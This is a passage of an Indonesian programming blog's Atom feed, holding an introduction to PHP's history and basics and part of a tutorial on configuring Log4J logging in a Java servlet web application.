trim($contents));    &lt;br /&gt;// Tutup buku    &lt;br /&gt;fclose($fp2);    &lt;br /&gt;?&amp;gt;&lt;/p&gt;  &lt;p align="justify"&gt;Selamat mencoba, semoga sesuai harapan.&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://yayakmpf.wordpress.com/2008/06/12/base64_encode/" target="_blank"&gt;yayakmpf.wordpress.com&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#160;&lt;/p&gt; &lt;/span&gt; &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:b202a4d7-916e-4daa-b756-4c038d0a6c17" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/php" rel="tag"&gt;php&lt;/a&gt;,&lt;a href="http://technorati.com/tags/encoder" rel="tag"&gt;encoder&lt;/a&gt;,&lt;a href="http://technorati.com/tags/tutorial" rel="tag"&gt;tutorial&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-4142420817467473544?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/4142420817467473544/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=4142420817467473544&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/4142420817467473544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/4142420817467473544'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/06/base64encode.html' title='Base64_Encode'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-2337888353218434842</id><published>2008-06-22T19:05:00.001+07:00</published><updated>2008-06-22T19:05:05.718+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>Bahasa Pemrograman PHP</title><content type='html'>&lt;p align="justify"&gt;&lt;strong&gt;Pengenalan dan Sejarah PHP&lt;/strong&gt;    &lt;br /&gt;PHP adalah bahasa pemrograman web atau scripting language yang didesain untuk web.    &lt;br /&gt;PHP dibuat pertama kali oleh satu orang yaitu Rasmus Lerdorf, yang pada awalnya dibuat untuk menghitung jumlah pengunjung pada homepagenya. Diawal Januari 2001, PHP telah dipakai lebih dari 5 juta domain diseluruh dunia, dan akan terus bertambah karena kemudahan aplikasi PHP ini dibandingkan dengan bahasa Server side yang lain. Anda dapat melihat angka sesungguhnya di http://www.php.net/usage.php.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Saat ini PHP amat populer dan menggantikan Perl yang sebelumnya juga populer sebagai bahasa scripting web. PHP telah menjadi modul Apache terpopuler (menurut www.securityspace.com), melebihi FrontPage dan mod_perl. Dan menurut hasil survei www.netcraft.co.uk, PHP terus meningkat penggunaannya dan telah digunakan pada jutaan domain dan jutaan alamat IP.&lt;/p&gt;  &lt;p align="justify"&gt;PHP telah digunakan oleh berbagai situs populer baik luar negeri maupun situs dalam negeri.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;Kronologi Singkat Sejarah PHP:&lt;/strong&gt;    &lt;br /&gt;- Akhir 1994: Rasmus Lerdorf, programmer Unix dan Perl membuat skrip Makro Perl CGI yang dapat mengetahui siapa saja yang mengakses resumenya yang ditaruh di web.&lt;/p&gt;  &lt;p align="justify"&gt;- Awal 1995: PHP 1 (Personal Home Page Tools), Rasmus menulis ulang PHP dalam C dan mengajarkan belasan programmer untuk menggunakannya. Ia juga melengkapinya dengan Form Interpreter(FI) untuk memproses SQL dan data Form.&lt;/p&gt;  &lt;p align="justify"&gt;- Sept-Okt 1995: PHP 2. Kode PHP dan FI ditulis ulang dan digabungkan menjadi PHP/FI, akhir 1995 dibagikan gratis bagi publik pertama kalinya&lt;/p&gt;  &lt;p align="justify"&gt;- Apr 1996: Rasmus menulis mod_php, modul PHP untuk Apache&lt;/p&gt;  &lt;p align="justify"&gt;- Des 1996: PHP/FI pertama kali mendukung MySQL dan telah dipakai di 15 ribu situs di dunia&lt;/p&gt;  &lt;p align="justify"&gt;- Pertengahan 1997: Pemakai PHP/FI mencapai 50 ribu situs&lt;/p&gt;  &lt;p align="justify"&gt;- Okt 1997: PHP3 dimulai dengan sumbangan parser dari Zeev dan Andi&lt;/p&gt;  &lt;p align="justify"&gt;- Jan 1998: Dukungan MySQL untuk Windows dan PHP mendukung lebih dari 7 database, mSQL, MySQL, Sybase, PostgreSQL, SQL Server, Adabas dan Oracle.&lt;/p&gt;  &lt;p align="justify"&gt;- 6 Juni 1998: PHP 3 (Professional Home Page) dirilis&lt;/p&gt;  &lt;p align="justify"&gt;- Des 1998: PHP disertakan di RedHat Linux (PHP 3 sejak RedHat 6.2 dan PHP 4 sejak 7)&lt;/p&gt;  &lt;p align="justify"&gt;- Mei 1999: PHP 4 beta&lt;/p&gt;  &lt;p align="justify"&gt;- Okt 1999: PHP melampaui FrontPage sebagai modul Apache terpopuler&lt;/p&gt;  &lt;p align="justify"&gt;- Nov 1999: PHP digunakan di 1,1 juta domain dan 357 ribu alamat IP menurut survey Netcraft. Zeev dan ANdi mendirikan Zend Technologies, LTd.&lt;/p&gt;  &lt;p align="justify"&gt;- 20-24 Jan 2000: Konferensi Internasional PHP di TelAviv&lt;/p&gt;  &lt;p align="justify"&gt;- 2 Maret 2000: Zend diluncurkan sebagai portal PHP&lt;/p&gt;  &lt;p align="justify"&gt;- 22 Mei 2000: PHP 4 diluncurkan&lt;/p&gt;  &lt;p align="justify"&gt;PHP menjadi populer karena kesederhanaanya dan kemampuannya dalam menghasilkan berbagai aplikasi web. Mulai dari counter, sistem artikel atau content management system, e-commerce/e-store, bulletin board/forum diskusi, dan sebagainya dapat dibuat dengan PHP.&lt;/p&gt;  &lt;p align="justify"&gt;PHP adalah salah satu bahasa Server-side yang didesain khusus untuk aplikasi web. PHP dapat disisipkan diantara bahasa HTML dan karena bahasa Server side, maka bahasa PHP akan dieksekusi di server, sehingga yang dikirimkan ke browser adalah &amp;#8220;hasil jadi&amp;#8221; dalam bentuk HTML, dan kode PHP anda tidak akan terlihat.&lt;/p&gt;  &lt;p align="justify"&gt;PHP termasuk dalam Open Source Product dan saat ini telah mencapai versi 4. Jadi anda dapat merubah source code dan mendistribusikannya secara bebas. PHP juga diedarkan secara gratis. Anda bisa mendapatkannya secara gratis. PHP juga dapat berjalan diberbagai web server semisal IIS, Apache. PWS, dll.&lt;/p&gt;  &lt;p align="justify"&gt;Penggabungan PHP dengan HTML   &lt;br /&gt;Seperti yang telah dituliskan sebelumnya bahwa PHP dapat digabung / mixed dengan HTML, Untuk penulisannya dalam HTML, kode PHP diawali dengan tanda .    &lt;br /&gt;Contoh kode:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt;    &lt;br /&gt;&lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;    &lt;br /&gt;&lt;code&gt;&amp;lt;title&amp;gt;Testing&amp;lt;/title&amp;gt;&lt;/code&gt;    &lt;br /&gt;&lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt;    &lt;br /&gt;&lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;    &lt;br /&gt;&lt;code&gt;&amp;lt;?php echo &amp;quot;Halo Dunia&amp;quot;; ?&amp;gt;&lt;/code&gt;    &lt;br /&gt;&lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt;    &lt;br /&gt;&lt;code&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;Kelebihan PHP:&lt;/strong&gt;    &lt;br /&gt;- Aplikasi dengan PHP cukup cepat dibandingkan dengan aplikasi CGI dengan Perl atau Phyton bahkan lebih cepat dibanding dengan ASP maupun Java dalam berbagai aplikasi web (Kecepatan ini bisa bervariasi karena dipengaruhi oleh tipe aplikasi dan jumlah pengunjung).&lt;/p&gt;  &lt;p align="justify"&gt;- Tersedia baik di Windows maupun Linux, walau saat ini paling efektif di web server Apache dan OS Linux&lt;/p&gt;  &lt;p align="justify"&gt;- Sintaks mirip C dan mudah dipelajari&lt;/p&gt;  &lt;p align="justify"&gt;- Komunitas yang ramai dan saling membantu, seperti di diskusiweb.com, phpbuilder.com, phpindo.com, serta berbagai situs dan mailing list lain.&lt;/p&gt;  &lt;p align="justify"&gt;- Berbagai skrip atau aplikasi siap pakai yang gratis telah tersedia&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;Kelemahan PHP:&lt;/strong&gt;    &lt;br /&gt;- Tidak ideal untuk pengembangan skala besar&lt;/p&gt;  &lt;p align="justify"&gt;- Tidak memiliki sistem pemrograman berorientasi objek yang sesungguhnya (sampai versi 4 ini)&lt;/p&gt;  &lt;p align="justify"&gt;- Tidak bisa memisahkan antara tampilan dengan logik dengan baik (walau penggunaan template dapat memperbaikinya)&lt;/p&gt;  &lt;p align="justify"&gt;- PHP memiliki kelemahan security tertentu apabila programmer tidak jeli dalam melakukan pemrograman dan kurang memperhatikan isu dan konfigurasi PHP&lt;/p&gt;  &lt;p align="justify"&gt;- Kode PHP dapat dibaca semua orang, dan kompilasi hanya dapat dilakukan dengan tool yang mahal dari Zend ($2000).&lt;/p&gt;  &lt;p align="justify"&gt;&lt;em&gt;sumber:&lt;/em&gt;&lt;em&gt;     &lt;br /&gt;&lt;em&gt;http://www.benpinter.net/article.php?story=20030407053611131&lt;/em&gt;&lt;/em&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;P&lt;/strong&gt;&lt;strong&gt;erbedaan PHP dengan HTML&lt;/strong&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Pengertian PHP   &lt;br /&gt;PHP adalah singkatan dari &amp;#8220;PHP: Hypertext Preprocessor&amp;#8221;, yang merupakan sebuah bahasa scripting yang terpasang pada HTML. Sebagian besar sintaks mirip dengan bahasa C, Java dan Perl, ditambah beberapa fungsi PHP yang spesifik. Tujuan utama penggunaan bahasa ini adalah untuk memungkinkan perancang web menulis halaman web dinamik dengan cepat.&lt;/p&gt;  &lt;p align="justify"&gt;PHP merupakan bahasa pemograman web yang bersifat server-side HTML=embedded scripting, di mana script-nya menyatu dengan HTML dan berada si server. Artinya adalah sintaks dan perintah-perintah yang kita berikan akan sepenuhnya dijalankan di server tetapi disertakan HTML biasa. PHP dikenal sebgai bahasa scripting yang menyatu dengan tag HTML, dieksekusi di server dan digunakan untuk membuat halaman web yang dinamis seperti ASP (Active Server Pages) dan JSP (Java Server Pages).&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;     &lt;div align="justify"&gt;HTML adalah bahasa baku terstandar untuk membuat halaman web. Semua halaman web di dunia ini menggunakan HTML. HTML berisi kode yang berisi perintah pada browser seperti Internet Explorer, Firefox, atau yang lainnya untuk merender tampilan halaman. Perintahnya antara lain seperti membuat link, menampilkan gambar, menampilkan teks atau data, dsb. HTML hanya berisi berisi data saja (content), dan untuk mengatur tampilan (layout) halaman digunakan CSS. Untuk melihat HTML pilih View-&amp;gt;Source atau semacamnya untuk dapat melihat kode HTML. Untuk membuat halaman web, bahasa yang harus dikuasai adalah HTML, jangan pernah membuat halaman web tanpa tahu sama sekali HTML. &lt;/div&gt;      &lt;p align="justify"&gt;PHP adalah bahasa program yang berjalan disisi server. Anda tidak akan pernah bisa melihat kode PHP tapi hanya bisa melihat hasil kerjanya. Kemampuan PHP sangatlah banyak (koneksi dengan database, membaca dan menuliskan file, upload file, dsb) dan terus bertambah (PHP juga bisa membuat gambar dengan code lho), salah satunya adalah menampilkan kode HTML langsung pada browser. Contohnya, kode PHP:       &lt;br /&gt;&amp;lt;?php        &lt;br /&gt;echo &amp;#8220;&amp;lt;p&amp;gt;Selamat datang&amp;lt;/p&amp;gt;&amp;#8221;        &lt;br /&gt;?&amp;gt;        &lt;br /&gt;hasilnya akan sama dengan mengetikkan kode HTML:        &lt;br /&gt;&amp;lt;p&amp;gt;Selamat datang&amp;lt;/p&amp;gt;&lt;/p&gt;      &lt;p align="justify"&gt;Sedikit demi sedikit anda pasti bisa memahaminya meskipun mungkin sekarang masih agak sulit dipahami. Tapi yang jelas, secara urutan belajar desain web adalah:       &lt;br /&gt;1. HTML dan CSS, 2.Javascript, 3. baru belajar PHP, 4. Flash kalau mau. Good luck ya!&lt;/p&gt;   &lt;/li&gt; &lt;/ul&gt;  &lt;p align="justify"&gt;PHP adalah suatu bahasa atau script untuk membuat halaman web dinamis. Secara nyata, browser (seperti IE, Firefox, Opera dan kawan-kawannya yang lain) hanya mengerti satu bahasa, yaitu HTML (Hypertext Markup Language).&lt;/p&gt;  &lt;p align="justify"&gt;HTML adalah suatu bahasa yang digunakan untuk berkomunikasi antara web server dengan klien (browser) yang diberi markup (tanda) khusus untuk melaksanakan atau menampilkan perintah khusus pula.&lt;/p&gt;  &lt;p align="justify"&gt;Kita bisa membuat web dengan menggunakan HTML. Kita juga bisa membuat link ke halaman lain di web kita atau halaman lain di web lain.&lt;/p&gt;  &lt;p align="justify"&gt;Tapi sayangnya, HTML adalah web statis. Artinya, jika kita ingin membuat web yang mempunyai banyak halaman, maka kita dituntut untuk membuat halaman web yang banyak juga.&lt;/p&gt;  &lt;p align="justify"&gt;Di lain pihak, PHP adalah suatu script (tepatnya server-side script) yang memproses perintah-perintah dan mengembalikannya ke server sudah dalam bentuk HTML.&lt;/p&gt;  &lt;p align="justify"&gt;Cara kerjanya seperti ini:   &lt;br /&gt;1. Browser meminta halaman ke web server.    &lt;br /&gt;2. Web server (bisa Apache, IIS dan lain-lain) akan memproses permintaan itu.    &lt;br /&gt;3. Jika web server menemukan suatu tanda khusus PHP (yaitu &amp;lt;?php dan ?&amp;gt;, atau &amp;lt;? dan ?&amp;amp;gt &lt;img alt=";)" src="http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif" /&gt; maka web server akan memberikan kesempatan kepada PHP untuk memprosesnya, karena itu di luar wewenang web server.    &lt;br /&gt;4. PHP akan memproses perintah-perintah yang berada di antara &amp;lt;?php dan ?&amp;gt; atau &amp;lt;? dan ?&amp;gt; dan mengabaikan yang lainnya.    &lt;br /&gt;5. Dalam memproses perintah-perintah di antara &amp;lt;?php dan ?&amp;gt;, jika ada perintah untuk menampilkan sesuatu (seperti echo), maka PHP akan memberikannya kepada web server. Jika PHP menemukan kesalahan, baik itu sintaks, overflow, file tidak ditemukan dan lain-lain, maka PHP akan memberikan peringatan yang akan diteruskan ke web server.    &lt;br /&gt;6. Jika semua proses telah selesai, maka web server akan memberikan nilai kembalian kepada browser berupa HTML, satu-satunya bahasa yang dia mengerti.&lt;/p&gt;  &lt;p align="justify"&gt;Untuk dapat menggunakan PHP, Anda harus menginstal PHP yang dapat diperoleh di &lt;a href="http://www.php.net/"&gt;http://www.php.net&lt;/a&gt; dan web server seperti Apache, IIS dan sejenisnya.&lt;/p&gt;  &lt;p align="justify"&gt;Contoh sederhana script PHP adalah sebagai berikut:   &lt;br /&gt;&amp;lt;?php    &lt;br /&gt;echo &amp;#8220;Saya sedang belajar PHP.&amp;#8221;;    &lt;br /&gt;?&amp;gt;&lt;/p&gt;  &lt;p align="justify"&gt;Script di atas akan menampilkan Saya sedang belajar PHP. pada browser.&lt;/p&gt;  &lt;p align="justify"&gt;PHP juga dapat dipadukan dengan HTML. Artinya, dalam suatu dokumen web, Anda bisa mencampurkan HTML dengan PHP. Perhatikan script berikut:&lt;/p&gt;  &lt;p align="justify"&gt;&amp;lt;html&amp;gt;   &lt;br /&gt;&amp;lt;head&amp;gt;    &lt;br /&gt;&amp;lt;title&amp;gt;Saya sedang belajar PHP    &lt;br /&gt;&amp;lt;/title&amp;gt;    &lt;br /&gt;&amp;lt;/head&amp;gt;    &lt;br /&gt;&amp;lt;body&amp;gt;    &lt;br /&gt;&amp;lt;p&amp;gt;Kalimat ini datangnya dari HTML.&amp;lt;/p&amp;gt;    &lt;br /&gt;&amp;lt;?php    &lt;br /&gt;echo &amp;#8220;&amp;lt;p&amp;gt;Sementara itu, kalimat ini datangnya dari PHP.&amp;lt;/p&amp;gt;&amp;#8221;;    &lt;br /&gt;?&amp;gt;    &lt;br /&gt;&amp;lt;p&amp;gt;Kembali ke HTML&amp;lt;/p&amp;gt;    &lt;br /&gt;&amp;lt;?php    &lt;br /&gt;echo &amp;#8220;&amp;lt;p&amp;gt;Kalau yang ini adanya di PHP.&amp;lt;/p&amp;gt;&amp;#8221;;    &lt;br /&gt;?&amp;gt;    &lt;br /&gt;&amp;lt;p&amp;gt;Dan seterusnya.&amp;lt;/p&amp;gt;    &lt;br /&gt;&amp;lt;/body&amp;gt;    &lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;  &lt;p align="justify"&gt;Source : &lt;a href="http://ariel4ever.wordpress.com/2008/06/11/bahasa-pemrograman-php/" target="_blank"&gt;ariel4ever.wordpress.com&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#160;&lt;/p&gt; &lt;/span&gt; &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:5025a1ef-e95f-4bcf-a12c-8bc4f14f51f5" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/php" rel="tag"&gt;php&lt;/a&gt;,&lt;a href="http://technorati.com/tags/tutorial" rel="tag"&gt;tutorial&lt;/a&gt;,&lt;a href="http://technorati.com/tags/introduction" rel="tag"&gt;introduction&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-2337888353218434842?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/2337888353218434842/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=2337888353218434842&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2337888353218434842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2337888353218434842'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/06/bahasa-pemrograman-php.html' title='Bahasa Pemrograman PHP'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-4660405454237373194</id><published>2008-06-22T19:03:00.001+07:00</published><updated>2008-06-22T19:03:07.156+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>Menambahkan Log4J pada Web Aplikasi Java</title><content type='html'>&lt;p align="justify"&gt;Adanya log pada sebuah aplikasi web menjadikan kita mudah untuk melacak sebuah proses aliran data yang ada. Log juga menjadi suatu alat bantu bagi kita jika kita ingin melacak error yang terjadi dalam aplikasi web, sehingga kita tahu dimana proses data berhenti jika terjadi error, method atau fungsi apa yang mungkin terjadi salah logika, atau mungkin juga kesalahan-kesalahan lain yang disebabkan oleh kesalahan kita dalam merangkai kode-kode program.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Pada bahasa pemrograman java ada beberapa library yang bisa kita gunakan untuk menambahkan log. Beberapa diantaranya menjadi standar pembuatan aplikasi web. Pada prakteknya log membuat file pencatatan sendiri mengenai proses-proses apa yang memang kita rasa penting untuk kita catat guna melacak suatu proses aliran data. Pencatatan log dalam aplikasi web biasanya dipisahkan dengan masing-masing aplikasi web yang kita buat, dengan tujuan agar kita lebih mudah melacak proses alur data masing-masing aplikasi web.&lt;/p&gt; &lt;p align="justify"&gt;Pada kesempatan kali ini kita akan mencoba menambahkan log pada aplikasi web kita dengan menggunakan library yang di release oleh &lt;b&gt;Apache Foundation&lt;/b&gt; yaitu &lt;b&gt;Log4J library. &lt;/b&gt;Karenanya&lt;b&gt;, &lt;/b&gt;kita akan membutuhkan library tersebut, silahkan download library Log4J &lt;b&gt;&lt;a href="http://logging.apache.org/log4j/1.2/download.html"&gt;disini&lt;/a&gt;, &lt;/b&gt;sementara saya dalam percobaan akan menggunakan library log4j versi 1.2.8. jika anda ingin menggunakan library Log4J terbaru silahkan saja. Saya juga akan memakai &lt;a href="http://en.wikipedia.org/wiki/Apache_Tomcat"&gt;&lt;b&gt;Servlet Container Apache Tomcat&lt;/b&gt; &lt;b&gt;5.5&lt;/b&gt;&lt;/a&gt; yang biasanya saya pakai untuk membuat web aplikasi.&lt;/p&gt; &lt;p align="justify"&gt;Yang harus kita sama-sama pahami adalah: ketika pertama kali Tomcat di jalankan maka Tomcat akan membaca semua settingan aplikasi web kita melalui file &lt;b&gt;web.xml&lt;/b&gt; yang ada pada folder WEB-INF di masing-masing folder web aplikasi kita. Dan semua library yang kita gunakan dalam aplikasi web kita harus kita letakkan dalam folder &lt;b&gt;WEB-INF/lib &lt;/b&gt;pada masing-masing aplikasi yang kita buat&lt;b&gt;.&lt;br&gt;&lt;/b&gt;Skenario untuk menambahkan log4j pada aplikasi web berdasarkan pemahaman tentang tingkah laku Servlet Container Tomcat di atas adalah: menjalankan suatu servlet yang berisi setting log4j.Oleh karena Tomcat akan membaca file web.xml, maka konfigurasi log4j ini akan kita letakkan di file web.xml. Dan pastinya kita akan membuat suatu servlet yang fungsinya menyeting log4j untuk aplikasi web kita. Karena log4j ini adalah library log yang terpisah dari Tomcat itu maka kita akan meletakkan library log4j ini dalam folder WEB-INF/lib.&lt;br&gt;Ok langsung saja kita buat servlet yang fungsinya melakukan setting terhadap log4j ini.berikut source code servlet ini. Saya beri nama servlet ini adalah Log4JInitServlet. Servlet ini merupakan extends &lt;b&gt;HttpServlet&lt;/b&gt; sehingga kita bisa meng-&lt;i&gt;override&lt;/i&gt; beberapa method milik dari class HttpServlet.&lt;/p&gt; &lt;div align="justify"&gt;&lt;pre&gt;&lt;code&gt;package org.mojo.app.web.servlet;&lt;br&gt;&lt;br&gt;import org.apache.log4j.Logger;&lt;br&gt;import org.apache.log4j.PropertyConfigurator;&lt;br&gt;&lt;br&gt;import javax.servlet.ServletConfig;&lt;br&gt;import javax.servlet.ServletContext;&lt;br&gt;import javax.servlet.ServletException;&lt;br&gt;import javax.servlet.http.HttpServlet;&lt;br&gt;import javax.servlet.http.HttpServletRequest;&lt;br&gt;import javax.servlet.http.HttpServletResponse;&lt;br&gt;import java.io.IOException;&lt;br&gt;&lt;br&gt;&lt;br&gt;public class Log4JInitServlet extends HttpServlet{&lt;br&gt;     static Logger logger = Logger.getLogger(Log4JInitServlet.class.getName());&lt;br&gt;&lt;br&gt; public void init(ServletConfig sc) throws ServletException {&lt;br&gt;     super.init(sc);&lt;br&gt;     ServletContext context = getServletContext();&lt;br&gt;     //find out where this web application is located on machine and print it out&lt;br&gt;     String sPath = context.getRealPath("/");&lt;br&gt;     System.out.println("Application Path :" + sPath);&lt;br&gt;&lt;br&gt;     //finding log4j configuration file on web.xml&lt;br&gt;     String sLogConfigFile = getInitParameter("log4j-init-file");&lt;br&gt;     System.out.println("LogConfig: " + sLogConfigFile);&lt;br&gt;&lt;br&gt;     //configuring Log4J System using PropertyConfigurator Class&lt;br&gt;     PropertyConfigurator.configure(sLogConfigFile);&lt;br&gt;     logger.info("Logger has been initialized...");&lt;br&gt;  }&lt;br&gt;&lt;br&gt;  public void destroy() {&lt;br&gt;     super.destroy();&lt;br&gt;     logger.info("Destroy");&lt;br&gt;  }&lt;br&gt;&lt;br&gt;  protected void doPost(HttpServletRequest req, HttpServletResponse res)&lt;br&gt;        throws ServletException, IOException {&lt;br&gt;     logger.info("doPost()");&lt;br&gt;  }&lt;br&gt;&lt;br&gt;  protected void doGet(HttpServletRequest req, HttpServletResponse res)&lt;br&gt;        throws ServletException, IOException {&lt;br&gt;     logger.info("doGet()");&lt;br&gt;  }&lt;br&gt;}&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/code&gt;&lt;br /&gt;&lt;p align="justify"&gt;Kita akan bahas kode diatas sebelum kita melangkan ke langkah berikutnya.&lt;br /&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;code&gt;package org.mojo.app.web.servlet;&lt;br&gt;&lt;br&gt;import org.apache.log4j.Logger;&lt;br&gt;import org.apache.log4j.PropertyConfigurator;&lt;br&gt;&lt;br&gt;import javax.servlet.ServletConfig;&lt;br&gt;import javax.servlet.ServletContext;&lt;br&gt;import javax.servlet.ServletException;&lt;br&gt;import javax.servlet.http.HttpServlet;&lt;br&gt;import javax.servlet.http.HttpServletRequest;&lt;br&gt;import javax.servlet.http.HttpServletResponse;&lt;br&gt;import java.io.IOException;&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/code&gt;&lt;br /&gt;&lt;p align="justify"&gt;Pada blok ini kita mendeskripsikan package servlet dimana file &lt;b&gt;Log4JinitServlet&lt;/b&gt; ini akan kita letakkan dalam package dan juga kita meng-&lt;i&gt;import&lt;/i&gt; kelas-kelas yang kita butuhkan. Kemudian kita akan membuat code untuk mendefinisikan kelas ini dan juga variabel statis logger sebagai Logger yang natinya bisa akan kita gunakan, berikut codenya.&lt;br /&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;code&gt;public class Log4JInitServlet extends HttpServlet {&lt;br&gt;  static Logger logger = Logger.getLogger(Log4JInitServlet.class.getName());&lt;br&gt;  ........&lt;br&gt;&lt;br&gt;}&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/code&gt;&lt;br /&gt;&lt;p align="justify"&gt;Setelah itu kita langsung membuat sebuah method yang merupakan &lt;i&gt;overriding method &lt;/i&gt;dari HttpServlet yaitu method Init, pada super classnya method ini mempunyai access modifier berupa &lt;b&gt;public&lt;/b&gt;, dan mempunyai parameter berupa &lt;b&gt;ServletConfig&lt;/b&gt; dan terakhir mempunyai throw &lt;b&gt;ServletException&lt;/b&gt;. Berikut blok kode method ini.&lt;br /&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;code&gt;public void init(ServletConfig sc) throws ServletException {&lt;br&gt;  .........&lt;br&gt;}&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/code&gt;&lt;br /&gt;&lt;p align="justify"&gt;Dalam method inilah akan kita letakkan settingan konfigurasi log4j untuk aplikasi web kita, coba kita perhatikan potongan baris kodenya.&lt;br /&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;code&gt;   super.init(sc);&lt;br&gt; ServletContext context = getServletContext();&lt;br&gt; //find out where this web application is located on machine and print it out&lt;br&gt; String sPath = context.getRealPath("/");&lt;br&gt; System.out.println("Application Path :" + sPath);&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/code&gt;&lt;br /&gt;&lt;p align="justify"&gt;Baris pertama kita memanggil method asli dari asal kelas ini, lalu baris kedua kita mendefinisakan variabel &lt;b&gt;context&lt;/b&gt; yang type data objectnya adalah &lt;b&gt;ServletContext&lt;/b&gt;, kemudian pada baris ke empat kita mendefinisikan suatu variable &lt;b&gt;String sPath&lt;/b&gt; yang kita isi dengan nilai yang kita ambil dari &lt;i&gt;real-path&lt;/i&gt; variabel &lt;i&gt;context&lt;/i&gt; yang sudah kita definisikan sebelumnya, untuk kemudian mencetaknya ke atas konsol. Sebenarnya baris ini boleh kita pakai boleh juga tidak, sebab inti dari baris kode ini adalah hanya mengetahui dimana aplikasi web kita terletak.&lt;br /&gt;&lt;p align="justify"&gt;Ok mari kita perhatikan baris selanjutnya.&lt;br /&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;code&gt;  //finding log4j configuration file on web.xml&lt;br&gt;String sLogConfigFile = getInitParameter("log4j-init-file");&lt;br&gt;System.out.println("LogConfig: " + sLogConfigFile);&lt;br&gt;&lt;br&gt;//configuring Log4J System using PropertyConfigurator Class&lt;br&gt;PropertyConfigurator.configure(sLogConfigFile);&lt;br&gt;logger.info("Logger has been initialized...");&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/code&gt;&lt;br /&gt;&lt;p align="justify"&gt;Pada baris pertama ada komentar yang memberitahukan bahwa kode dibawahnya akan mencari file konfigurasi pada web.xml. Dapat terlihat pada baris kedua kita mendefinisikan sebuah variabel String yang bernama &lt;b&gt;sLogConfigFile&lt;/b&gt; yang di isi oleh nilai yang kita ambil dari parameter servlet yang nanti kita konfigurasi pada file web.xml, nama parameternya adalah “&lt;b&gt;log4j-init-file&lt;/b&gt;”. Dalam web.xml nantinya kita akan membuat sebuah baris yang nilainya berisi &lt;i&gt;&lt;b&gt;log4j-init-file,&lt;/b&gt;&lt;/i&gt;&lt;b&gt; &lt;/b&gt;dan dibawahnya nanti kita akan membuat 